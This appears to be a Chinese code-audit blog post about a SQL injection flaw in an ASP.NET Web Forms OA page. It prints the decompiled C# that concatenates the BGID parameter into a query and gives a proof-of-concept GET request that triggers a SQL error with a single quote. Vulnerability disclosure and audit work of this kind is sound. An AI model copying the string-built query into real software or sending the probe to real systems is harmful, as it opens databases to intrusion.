当前位置: 首页 > news >正文

ASP.NET代码审计 Web Forms框架 SQL注入漏洞

OAGL_GZJH_OA_GZJH_BG_DOC.cs代码

using System;
using System.Data;
using System.IO;
using System.Web.Profile;
using System.Web.SessionState;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using ASP;
using CwhASPNETBaseNew;
using QzJiaoWu.Web;public class OAGL_GZJH_OA_GZJH_BG_DOC : PageBaseNew, IRequiresSessionState
{protected HyperLink LB1;protected HtmlForm Form1;protected DefaultProfile Profile => (DefaultProfile)Context.Profile;protected global_asax ApplicationInstance => (global_asax)Context.ApplicationInstance;protected override void LoadPage(object sender, EventArgs e){//IL_0001: Unknown result type (might be due to invalid IL or missing references)//IL_000b: Expected O, but got UnknownDAOP = new DataOperation();string text = base.Request.QueryString["BGID"].Trim();string text2 = base.Request.QueryString["SQLB"].Trim();DataTable dataTable = DAOP.getDataTable("select * from OA_BG where BGID = '" + text + "'");if (dataTable.Rows.Count > 0){string text3 = "";text3 = base.Server.MapPath("../../upload/OAGL/") + dataTable.Rows[0]["BGID"].ToString() + text2 + ".doc";if (File.Exists(text3)){LB1.Text = dataTable.Rows[0]["BGBT"].ToString();LB1.NavigateUrl = "../../upload/OAGL/" + dataTable.Rows[0]["BGID"].ToString() + text2 + ".doc";}else{LB1.Text = "没有相关附件下载";}}else{LB1.Text = "没有相关附件下载";}}
}

关键代码分析

参数 BGID 直接拼接sql语句造成sql注入漏洞

POC

GET /OAGL/GZJH/OA_GZJH_BG_DOC.aspx?BGID='&SQLB= HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

单引号报错语法错误 

http://www.xdnf.cn/news/1083475.html

相关文章:

  • 【Python】使用读取到的文件
  • 零成本搭建浏览器远程Linux桌面:Ubuntu/Debian方案全解析
  • MySQL数据库主从复制
  • python-if结构、三目运算符
  • 善用关系网络:开源AI大模型、AI智能名片与S2B2C商城小程序赋能下的成功新路径
  • 知识文档管理系统选型指南(中小企业专用)
  • CppCon 2018 学习:What Do We Mean When We Say Nothing At All?
  • 一文掌握Qt Quick数字图像处理项目开发(基于Qt 6.9 C++和QML,代码开源)
  • 计算机网络1.1:什么是Internet?
  • 电商系统二次开发找谁做?ZKmall开源商城前后端分离技术更易升级迭代
  • leetcode 每日一题 1865. 找出和为指定值的下标对
  • uniapp实现的多种时间线模板
  • Redis存储Cookie实现爬虫保持登录 requests | selenium
  • TCP/IP协议栈实现浅析(下) 报文接收相关函数及流程分析
  • 软件版本FCCU(故障采集与控制单元)设计
  • RS触发器Multisim电路仿真——硬件工程师笔记
  • Linux命令大全:按功能分类详解(附表格速查)
  • Altium Designer使用教程 第一章(Altium Designer工程与窗口)
  • 用户中心Vue3网页开发(1.0版)
  • Attention Is All You Need论文精读(逐段解析)
  • 隐马尔可夫模型:语音识别系统的时序解码引擎
  • python优先队列使用
  • H3C WA6322 Fit AP切换为云AP或Anchor-AC(FAT AP)
  • 如何理解lambda排序
  • 自动化Prompt生成平台的研发体系设计
  • 《Redis》哨兵模式
  • 数据结构——栈的讲解(超详细)
  • python使用fastmcp包编写mcp服务端(mcp_server)和mcp客户端(mcp_client)
  • Java教程——深入学习guava之并发编程
  • 如何使用backtrace定位Linux程序的崩溃位置